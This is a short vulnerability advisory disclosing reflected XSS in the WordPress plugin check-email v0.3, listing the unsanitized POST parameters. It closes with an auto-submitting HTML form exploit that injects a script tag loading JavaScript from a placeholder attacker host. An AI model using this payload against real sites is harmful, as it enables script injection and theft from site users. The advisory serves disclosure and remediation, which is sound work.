Advisory #: 1246
Title: Reflected XSS in wordpress plugin check-email v0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/check-email
Downloads: 52959
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: check-email
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./check-email/check-email.php: 132: echo $_POST["checkemail_mime"]; 140: echo $_POST["checkemail_type"]; 148: echo $_POST["checkemail_from"]; 156: echo $_POST["checkemail_cc"]; The variable checkemail_mime appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./check-email/check-email.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/check-email/check-email.php method=post> <input type=hidden name=checkemail_mime value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>